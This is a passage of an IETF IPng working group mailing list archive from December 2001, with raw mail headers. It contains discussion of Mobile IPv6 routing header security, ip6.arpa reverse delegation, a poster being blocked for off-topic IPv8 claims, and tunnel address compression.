owner-ipng@sunroof.eng.sun.com Precedence: bulk Inspired by the draft in the topic, I would like to get some advice on the following: It seems that in mobileip wg, reflector attack scenarios were identified for routing headers in Savola's draft. One solution, which seems to me feasible to implement (no state needed), was to mandate segments left to 1 and check that the address in the routing header is owned by the receiving MN host. Seems these scenarios are not necessarily mobileip-specific. I am wondering, are routing headers in this wg considered a special-purpose mechanism that cannot be used? For home address options there are sections in Arkko's second draft in mobileip where it is recommended them always to be protected and (indirectly) to support both weak and strong authentication. MN-CN authentication is supposed to support weak authentication, a concept which was prompted by scalability concerns of the AD's. However, in mobileip version 15 there is an authentication sub-option, useful with weak authentication. This design can easily be re-used in implementation even with the home address option. Are these not concerns, other than tunneling, already addressed by the currently chosen solution? If these expressed concerns can be addressed by using existing extension headers, why not use them? BR, -Jari Brian Zill wrote: > > Francis is correct. The motivation behind the draft was the observation > that there are or have been (either currently being specified or > proposed) several different special-purpose mechanisms for what amounts > to optimized tunnels. Some of these turned out to have problematic > issues, especially when mixed and matched with other things. Issues > which would be much simpler to reason about and resolve if one had real > tunnels instead of these special-purpose mechanisms. The argument for > the special-purpose mechanisms has usually been that the duplicated > addresses in the tunnel headers is wasteful. This draft attempts to > eliminate that particular concern with a more straight-forward approach > to the problem. Hopefully it will serve as a basis for discussion, as > Francis suggests. > > --Brian > > > -----Original Message----- > > From: Pekka Savola [mailto:pekkas@netcore.fi] > > Sent: Tuesday, December 04, 2001 07:35 > > To: Francis Dupont > > Cc: Brian E Carpenter; Hesham Soliman (ERA); ipng@sunroof.eng.sun.com > > Subject: Re: I-D ACTION:draft-deering-ipv6-encap-addr-deletion-00.txt > > > > On Tue, 4 Dec 2001, Francis Dupont wrote: > > > => I agree (this argument applies near each time where the > > > bandwidth is critical) but I believe the purpose is not to > > > save bandwidth but to replace special devices by a more > > > general one: > > > - replace one shot source routing by IPV6_NO_SRC > > > - replace home address option by IPV6_NO_DEST > > > There are already degenerated (i.e. optimizable) cases of > > > tunnel in mobility, IPsec, ... To have a general mechanism > > > is a good idea, at least as a basis for discussion. > > > > Exactly the point I was making. > > > > Saving bandwidth won't hurt, but that's definitely not the > > reason to do it. > > > > -- > > Pekka Savola "Tell me of difficulties surmounted, > > Netcore Oy not those you stumble over and fall" > > Systems. Networks. Security. -- Robert Jordan: A Crown of Swords > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 4 19:31:53 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB53VrHt007175 for ; Tue, 4 Dec 2001 19:31:53 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB53VqH7007174 for ipng-dist; Tue, 4 Dec 2001 19:31:52 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB53VjHt007159; Tue, 4 Dec 2001 19:31:45 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id TAA29036; Tue, 4 Dec 2001 19:31:46 -0800 (PST) Received: from shuttle.wide.toshiba.co.jp (shuttle.wide.toshiba.co.jp [202.249.10.124]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id TAA02233; Tue, 4 Dec 2001 19:31:44 -0800 (PST) Received: from localhost ([3ffe:501:100f:10c1:14bf:9363:bb02:8cb3]) by shuttle.wide.toshiba.co.jp (8.11.6/8.9.1) with ESMTP id fB53Vd346695; Wed, 5 Dec 2001 12:31:39 +0900 (JST) Date: Wed, 05 Dec 2001 12:31:38 +0900 Message-ID: From: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= To: Randy Bush Cc: ipng@sunroof.eng.sun.com, dnsop@cafax.se, ngtrans@sunroof.eng.sun.com Subject: Re: (ngtrans) Re: reverse delegation under ip6.arpa.? In-Reply-To: References: <200112010045.fB10jiQ03409@zed.isi.edu> <20011128083531.C4C631090@postfix1.uni-muenster.de> User-Agent: Wanderlust/2.7.5 (Too Funky) Emacs/21.1 Mule/5.0 (SAKAKI) Organization: Research & Development Center, Toshiba Corp., Kawasaki, Japan. MIME-Version: 1.0 (generated by SEMI 1.14.3 - "Ushinoya") Content-Type: text/plain; charset=US-ASCII X-Dispatcher: imput version 980905(IM100) Lines: 18 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk >>>>> On Mon, 03 Dec 2001 05:31:39 -0800, >>>>> Randy Bush said: > agreed. but the pain is minimal. note that, initially, the content of > ip6.arpa is directly that of ip6.int. in fact, one could have the same > zone file pointed to by both names. the big pain in the transition is > that of the registries, whois, etc. and they've been working on this > for some months. As for the registry side transition, I have another question. I saw delegations for 2001:0200::/24 to APNIC. What is the current status about 3ffe::/16? Is there a plan to delegate ip6.arpa. sub domains for that block? JINMEI, Tatuya Communication Platform Lab. Corporate R&D Center, Toshiba Corp. jinmei@isl.rdc.toshiba.co.jp -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 4 19:59:27 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB53xQHt007228 for ; Tue, 4 Dec 2001 19:59:26 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB53xQ6g007227 for ipng-dist; Tue, 4 Dec 2001 19:59:26 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB53xMHt007220 for ; Tue, 4 Dec 2001 19:59:22 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id TAA10049 for ; Tue, 4 Dec 2001 19:59:18 -0800 (PST) Received: from zeus.anet-chi.com (zeus.anet-chi.com [207.7.4.6]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id TAA09149 for ; Tue, 4 Dec 2001 19:59:17 -0800 (PST) Received: from ipv16 (as1b-48.chi.il.dial.anet.com [198.92.157.48]) by zeus.anet-chi.com (8.9.3/spamfix) with SMTP id VAA02380; Tue, 4 Dec 2001 21:57:39 -0600 (CST) Message-ID: <00ad01c17d42$ea6b5220$a300a8c0@ipv16> From: "Jim Fleming" To: Cc: , , , , , , , , , , , , , , , , , , , , , , , References: <200112010045.fB10jiQ03409@zed.isi.edu> <20011128083531.C4C631090@postfix1.uni-muenster.de> Subject: Re: (ngtrans) Re: reverse delegation under ip6.arpa.? Date: Tue, 4 Dec 2001 22:11:12 -0600 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk ----- Original Message ----- From: )> To: "Randy Bush" Cc: ; ; Sent: Tuesday, December 04, 2001 9:31 PM Subject: Re: (ngtrans) Re: reverse delegation under ip6.arpa.? > >>>>> On Mon, 03 Dec 2001 05:31:39 -0800, > >>>>> Randy Bush said: > > > agreed. but the pain is minimal. note that, initially, the content of > > ip6.arpa is directly that of ip6.int. in fact, one could have the same > > zone file pointed to by both names. the big pain in the transition is > > that of the registries, whois, etc. and they've been working on this > > for some months. > > As for the registry side transition, I have another question. I saw > delegations for 2001:0200::/24 to APNIC. What is the current status > about 3ffe::/16? Is there a plan to delegate ip6.arpa. sub domains > for that block? > > JINMEI, Tatuya > Communication Platform Lab. > Corporate R&D Center, Toshiba Corp. > jinmei@isl.rdc.toshiba.co.jp --------------- Others have stated that 3FFE users are on some sort of "experimental network". They are not connected to the real Internet, which has its foundation in IPv4. With the new AAAA records in the DNS, there is no room for the 3FFE, because of the 2002:[IPv4]:0000 values. Apparently, the 3FFE users use A6 DNS records, which are not recommended because of a variety of reasons. The IETF recently came to this conclusion. It is unclear why it took so long. Maybe stability and security are now more serious concerns ? Compare that to 2002:[IPv4]:0000 users, who are using IPv4 in the extended proxy mode, whereby the IPv4 header is augmented with extra information to route the packets to a larger address space. The 2002 users can of course use the IN-ADDR.[TLD] zones to record their address allocations. Many companies, including ICANN, are working on expanding the TLD variety. This will help to create the equivalent of thousands of Address Registries, where there are currently 3 dominant ones, and several private registries operated by the companies that got in early on the IPv4 address allocations. It all boils down to fairness. Which list do you think is more fair ? The "toy" IPv4 Internet Early Experimentation Allocations ? http://www.iana.org/assignments/ipv4-address-space or The Proof-of-Concept IPv8 Allocations ? http://www.ntia.doc.gov/ntiahome/domainname/130dftmail/unir.txt Jim Fleming http://www.dot-biz.com/IPv4/Tutorial/ http://www.IPv8.info IPv16....One Better !! -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 4 20:14:48 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB54ElHt007272 for ; Tue, 4 Dec 2001 20:14:48 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB54El4A007271 for ipng-dist; Tue, 4 Dec 2001 20:14:47 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB54EhHt007264 for ; Tue, 4 Dec 2001 20:14:43 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id UAA01419 for ; Tue, 4 Dec 2001 20:14:43 -0800 (PST) Received: from smtp.tndh.net (evrtwa1-ar8-4-60-069-141.vz.dsl.gtei.net [4.60.69.141]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id UAA12934 for ; Tue, 4 Dec 2001 20:14:42 -0800 (PST) Received: by smtp.tndh.net from localhost (router,SLMail V3.2); Tue, 04 Dec 2001 20:13:30 -0800 Received: from eagleswings [127.0.0.1] by smtp.tndh.net [4.60.68.77] (SLmail 3.2.3113) with SMTP id 9C9F917AFE1F46C2ACD7535C3DF8CB49 for plus 25 more; Tue, 04 Dec 2001 20:13:26 -0800 From: "Tony Hain" To: "Jim Fleming" , Cc: , , , , , , , , , , , , , , , , , , , , , , , Subject: RE: (ngtrans) Re: reverse delegation under ip6.arpa.? Date: Tue, 4 Dec 2001 20:13:17 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 In-Reply-To: <00ad01c17d42$ea6b5220$a300a8c0@ipv16> Importance: Normal X-SLUIDL: 41C197D4-804E4481-BF138F7B-E4951E96 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Jim, You have been asked to stop posting nonsense like this to the list. Since you clearly choose to impede rather than help progress the work of the group we have no choice but to blocked your ability to post. This initial block will last for 2 months. Hopefully you will change your attitude by then. Tony > -----Original Message----- > From: owner-ipng@sunroof.eng.sun.com > [mailto:owner-ipng@sunroof.eng.sun.com]On Behalf Of Jim Fleming > Sent: Tuesday, December 04, 2001 8:11 PM > To: jinmei@isl.rdc.toshiba.co.jp > Cc: ipng@sunroof.eng.sun.com; dnsop@cafax.se; lynn@icann.org; > Elisabeth.Porteneuve@cetp.ipsl.fr; orobles@nic.mx; pdeblanc@usvi.net; > grant.forsyth@clear.co.nz; philip.sheppard@aim.be; mcade@att.com; > Richard.Tindal@neulevel.com; ck@nrm.se; RCochetti@verisign.com; > tony.ar.holmes@bt.com; harris@cabase.org.ar; greg_ruth@yahoo.com; > yjpark@myepark.com; vany@sdnp.org.pa; mueller@syracuse.edu; > erica.roberts@bigpond.com; Paul.Kane@reacto.com; kstubbs@dninet.net; > aaus@mpaa.org; gcarey@carey.cl; CCHICOINE@thompsoncoburn.com > Subject: Re: (ngtrans) Re: reverse delegation under ip6.arpa.? > > > > ----- Original Message ----- > From: )> > To: "Randy Bush" > Cc: ; ; > > Sent: Tuesday, December 04, 2001 9:31 PM > Subject: Re: (ngtrans) Re: reverse delegation under ip6.arpa.? > > > > >>>>> On Mon, 03 Dec 2001 05:31:39 -0800, > > >>>>> Randy Bush said: > > > > > agreed. but the pain is minimal. note that, initially, > the content of > > > ip6.arpa is directly that of ip6.int. in fact, one could > have the same > > > zone file pointed to by both names. the big pain in the > transition is > > > that of the registries, whois, etc. and they've been > working on this > > > for some months. > > > > As for the registry side transition, I have another question. I saw > > delegations for 2001:0200::/24 to APNIC. What is the current status > > about 3ffe::/16? Is there a plan to delegate ip6.arpa. sub domains > > for that block? > > > > JINMEI, Tatuya > > Communication Platform Lab. > > Corporate R&D Center, Toshiba Corp. > > jinmei@isl.rdc.toshiba.co.jp > > --------------- > > Others have stated that 3FFE users are on some sort of > "experimental network". > They are not connected to the real Internet, which has its > foundation in IPv4. > With the new AAAA records in the DNS, there is no room for the 3FFE, > because of the 2002:[IPv4]:0000 values. Apparently, the 3FFE > users use A6 > DNS records, which are not recommended because of a variety > of reasons. > The IETF recently came to this conclusion. It is unclear why > it took so long. > Maybe stability and security are now more serious concerns ? > > Compare that to 2002:[IPv4]:0000 users, who are using IPv4 in > the extended > proxy mode, whereby the IPv4 header is augmented with extra > information to > route the packets to a larger address space. The 2002 users > can of course use > the IN-ADDR.[TLD] zones to record their address allocations. > Many companies, > including ICANN, are working on expanding the TLD variety. > This will help > to create the equivalent of thousands of Address Registries, > where there are > currently 3 dominant ones, and several private registries > operated by the companies > that got in early on the IPv4 address allocations. > > It all boils down to fairness. > Which list do you think is more fair ? > The "toy" IPv4 Internet Early Experimentation Allocations ? > http://www.iana.org/assignments/ipv4-address-space > or > The Proof-of-Concept IPv8 Allocations ? > http://www.ntia.doc.gov/ntiahome/domainname/130dftmail/unir.txt > > > > Jim Fleming > http://www.dot-biz.com/IPv4/Tutorial/ > http://www.IPv8.info > IPv16....One Better !! > > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 4 20:44:22 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB54iLHt007348 for ; Tue, 4 Dec 2001 20:44:21 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB54iL0a007347 for ipng-dist; Tue, 4 Dec 2001 20:44:21 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB54iGHt007340 for ; Tue, 4 Dec 2001 20:44:16 -0800 (PST) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id UAA12307 for ; Tue, 4 Dec 2001 20:44:02 -0800 (PST) Received: from zeus.anet-chi.com (zeus.anet-chi.com [207.7.4.6]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id VAA02518 for ; Tue, 4 Dec 2001 21:44:02 -0700 (MST) Received: from ipv16 (as1b-48.chi.il.dial.anet.com [198.92.157.48]) by zeus.anet-chi.com (8.9.3/spamfix) with SMTP id WAA12692; Tue, 4 Dec 2001 22:42:31 -0600 (CST) Message-ID: <013901c17d49$285db900$a300a8c0@ipv16> From: "Jim Fleming" To: "Tony Hain" , Cc: , , , , , , , , , , , , , , , , , , , , , , , , References: Subject: Re: (ngtrans) Re: reverse delegation under ip6.arpa.? Date: Tue, 4 Dec 2001 22:56:03 -0600 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk What are you afraid people will find out ? Has the IETF decided to use A6 or AAAA ? With 2002:[IPv4]:0000 used to keep people connected to the IPv4 Internet, how can the 3FFE experimental people claim to be connected ? Can all of the current IPv4 users access the 3FFE network ? This may help... http://www.dot-biz.com/IPv4/Tutorial/ The Netfilter Project: Packet Mangling for Linux 2.4 http://netfilter.samba.org Jim Fleming http://www.IPv8.info IPv16....One Better !! ----- Original Message ----- From: "Tony Hain" To: "Jim Fleming" ; Cc: ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; Sent: Tuesday, December 04, 2001 10:13 PM Subject: RE: (ngtrans) Re: reverse delegation under ip6.arpa.? > Jim, > > You have been asked to stop posting nonsense like this to the list. > Since you clearly choose to impede rather than help progress the work of > the group we have no choice but to blocked your ability to post. This > initial block will last for 2 months. Hopefully you will change your > attitude by then. > > Tony > > > > -----Original Message----- > > From: owner-ipng@sunroof.eng.sun.com > > [mailto:owner-ipng@sunroof.eng.sun.com]On Behalf Of Jim Fleming > > Sent: Tuesday, December 04, 2001 8:11 PM > > To: jinmei@isl.rdc.toshiba.co.jp > > Cc: ipng@sunroof.eng.sun.com; dnsop@cafax.se; lynn@icann.org; > > Elisabeth.Porteneuve@cetp.ipsl.fr; orobles@nic.mx; pdeblanc@usvi.net; > > grant.forsyth@clear.co.nz; philip.sheppard@aim.be; mcade@att.com; > > Richard.Tindal@neulevel.com; ck@nrm.se; RCochetti@verisign.com; > > tony.ar.holmes@bt.com; harris@cabase.org.ar; greg_ruth@yahoo.com; > > yjpark@myepark.com; vany@sdnp.org.pa; mueller@syracuse.edu; > > erica.roberts@bigpond.com; Paul.Kane@reacto.com; kstubbs@dninet.net; > > aaus@mpaa.org; gcarey@carey.cl; CCHICOINE@thompsoncoburn.com > > Subject: Re: (ngtrans) Re: reverse delegation under ip6.arpa.? > > > > > > > > ----- Original Message ----- > > From: > )> > > To: "Randy Bush" > > Cc: ; ; > > > > Sent: Tuesday, December 04, 2001 9:31 PM > > Subject: Re: (ngtrans) Re: reverse delegation under ip6.arpa.? > > > > > > > >>>>> On Mon, 03 Dec 2001 05:31:39 -0800, > > > >>>>> Randy Bush said: > > > > > > > agreed. but the pain is minimal. note that, initially, > > the content of > > > > ip6.arpa is directly that of ip6.int. in fact, one could > > have the same > > > > zone file pointed to by both names. the big pain in the > > transition is > > > > that of the registries, whois, etc. and they've been > > working on this > > > > for some months. > > > > > > As for the registry side transition, I have another question. I saw > > > delegations for 2001:0200::/24 to APNIC. What is the current status > > > about 3ffe::/16? Is there a plan to delegate ip6.arpa. sub domains > > > for that block? > > > > > > JINMEI, Tatuya > > > Communication Platform Lab. > > > Corporate R&D Center, Toshiba Corp. > > > jinmei@isl.rdc.toshiba.co.jp > > > > --------------- > > > > Others have stated that 3FFE users are on some sort of > > "experimental network". > > They are not connected to the real Internet, which has its > > foundation in IPv4. > > With the new AAAA records in the DNS, there is no room for the 3FFE, > > because of the 2002:[IPv4]:0000 values. Apparently, the 3FFE > > users use A6 > > DNS records, which are not recommended because of a variety > > of reasons. > > The IETF recently came to this conclusion. It is unclear why > > it took so long. > > Maybe stability and security are now more serious concerns ? > > > > Compare that to 2002:[IPv4]:0000 users, who are using IPv4 in > > the extended > > proxy mode, whereby the IPv4 header is augmented with extra > > information to > > route the packets to a larger address space. The 2002 users > > can of course use > > the IN-ADDR.[TLD] zones to record their address allocations. > > Many companies, > > including ICANN, are working on expanding the TLD variety. > > This will help > > to create the equivalent of thousands of Address Registries, > > where there are > > currently 3 dominant ones, and several private registries > > operated by the companies > > that got in early on the IPv4 address allocations. > > > > It all boils down to fairness. > > Which list do you think is more fair ? > > The "toy" IPv4 Internet Early Experimentation Allocations ? > > http://www.iana.org/assignments/ipv4-address-space > > or > > The Proof-of-Concept IPv8 Allocations ? > > http://www.ntia.doc.gov/ntiahome/domainname/130dftmail/unir.txt > > > > > > > > Jim Fleming > > http://www.dot-biz.com/IPv4/Tutorial/ > > http://www.IPv8.info > > IPv16....One Better !! > > > > -------------------------------------------------------------------- > > IETF IPng Working Group Mailing List > > IPng Home Page: http://playground.sun.com/ipng > > FTP archive: ftp://playground.sun.com/pub/ipng > > Direct all administrative requests to majordomo@sunroof.eng.sun.com > > -------------------------------------------------------------------- > > -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 4 21:38:46 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB55ckHt007448 for ; Tue, 4 Dec 2001 21:38:46 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB55cjmi007447 for ipng-dist; Tue, 4 Dec 2001 21:38:45 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB55cfHt007429 for ; Tue, 4 Dec 2001 21:38:41 -0800 (PST) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id VAA18121 for ; Tue, 4 Dec 2001 21:38:41 -0800 (PST) Received: from web21208.mail.yahoo.com (web21208.mail.yahoo.com [216.136.175.166]) by patan.sun.com (8.9.3+Sun/8.9.3) with SMTP id WAA16185 for ; Tue, 4 Dec 2001 22:38:23 -0700 (MST) Message-ID: <20011205053841.8332.qmail@web21208.mail.yahoo.com> Received: from [129.110.42.90] by web21208.mail.yahoo.com via HTTP; Tue, 04 Dec 2001 21:38:41 PST Date: Tue, 4 Dec 2001 21:38:41 -0800 (PST) From: andy none Subject: RFC list for data plane & control plane functions To: ipng@sunroof.eng.sun.com MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk hi, i saw looking for a comprehensive list of the data plane and control plane RFCs for IPV6. Though this link: http://www.ietf.org/html.charters/ipngwg-charter.html has a lot of RFCs, it does not appear to be comprehensive. Can any1 help me with this, thanx andy __________________________________________________ Do You Yahoo!? Buy the perfect holiday gifts at Yahoo! Shopping. http://shopping.yahoo.com -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 5 01:17:02 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB59H1Ht008308 for ; Wed, 5 Dec 2001 01:17:01 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB59H1oR008307 for ipng-dist; Wed, 5 Dec 2001 01:17:01 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB59GvHt008300 for ; Wed, 5 Dec 2001 01:16:57 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id BAA17463 for ; Wed, 5 Dec 2001 01:16:57 -0800 (PST) Received: from laposte.enst-bretagne.fr (laposte.enst-bretagne.fr [192.108.115.3]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id CAA05923 for ; Wed, 5 Dec 2001 02:16:56 -0700 (MST) Received: from rsm.rennes.enst-bretagne.fr (rsm.rennes.enst-bretagne.fr [192.44.77.1]) by laposte.enst-bretagne.fr (8.11.6/8.11.6) with ESMTP id fB59GcI31947; Wed, 5 Dec 2001 10:16:38 +0100 Received: from givry.rennes.enst-bretagne.fr (givry.rennes.enst-bretagne.fr [193.52.74.194]) by rsm.rennes.enst-bretagne.fr (8.8.8/8.8.8) with ESMTP id KAA01831; Wed, 5 Dec 2001 10:16:38 +0100 (MET) Received: from givry.rennes.enst-bretagne.fr (localhost.rennes.enst-bretagne.fr [127.0.0.1]) by givry.rennes.enst-bretagne.fr (8.11.3/8.11.3) with ESMTP id fB59GbD93115; Wed, 5 Dec 2001 10:16:37 +0100 (CET) (envelope-from dupont@givry.rennes.enst-bretagne.fr) Message-Id: <200112050916.fB59GbD93115@givry.rennes.enst-bretagne.fr> From: Francis Dupont To: "Jari T. Malinen" cc: Brian Zill , Pekka Savola , Brian E Carpenter , "Hesham Soliman (ERA)" , ipng@sunroof.eng.sun.com Subject: Re: I-D ACTION:draft-deering-ipv6-encap-addr-deletion-00.txt In-reply-to: Your message of Tue, 04 Dec 2001 17:07:40 PST. <3C0D735C.97219E57@iprg.nokia.com> Date: Wed, 05 Dec 2001 10:16:37 +0100 X-Virus-Scanned: by amavisd-milter (http://amavis.org/) at enst-bretagne.fr Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk In your previous mail you wrote: If these expressed concerns can be addressed by using existing extension headers, why not use them? => just because it is better to deal with expressed concerns in a general context than in a special-purpose one. I can see only advantages to this so what are the problems with a discussion about tunnel address compression or multiple payloads in the IPv6 WG? IMHO mobile IPv6 has enough suffered from a ghetto syndrome... Regards Francis.Dupont@enst-bretagne.fr -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 5 01:20:45 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB59KjHt008342 for ; Wed, 5 Dec 2001 01:20:45 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB59KjbB008341 for ipng-dist; Wed, 5 Dec 2001 01:20:45 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB59KfHt008334 for ; Wed, 5 Dec 2001 01:20:41 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id BAA17755 for ; Wed, 5 Dec 2001 01:20:41 